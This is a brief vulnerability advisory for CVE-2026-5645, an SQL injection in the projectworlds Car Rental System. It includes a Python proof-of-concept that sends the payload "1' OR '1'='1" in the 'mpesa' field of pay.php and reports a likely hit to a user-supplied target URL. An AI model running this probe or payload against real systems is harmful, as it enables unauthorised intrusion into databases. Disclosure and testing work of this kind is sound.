CVE-2026-5645 projectworlds Car Rental System SQL注入漏洞

import requests def check_sqli(url): target = f"{url}/pay.php" # Payload to test for SQL Injection payload = "1' OR '1'='1" data = { "mpesa": payload } try: response = requests.post(target, data=data) if response.status_code == 200: print("[+] Potential SQL Injection vulnerability detected!") print(f"[+] Response length: {len(response.text)}") else: print("[-] Target might not be vulnerable or WAF blocked the request.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target_url = "http://example.com" # Replace with actual target check_sqli(target_url)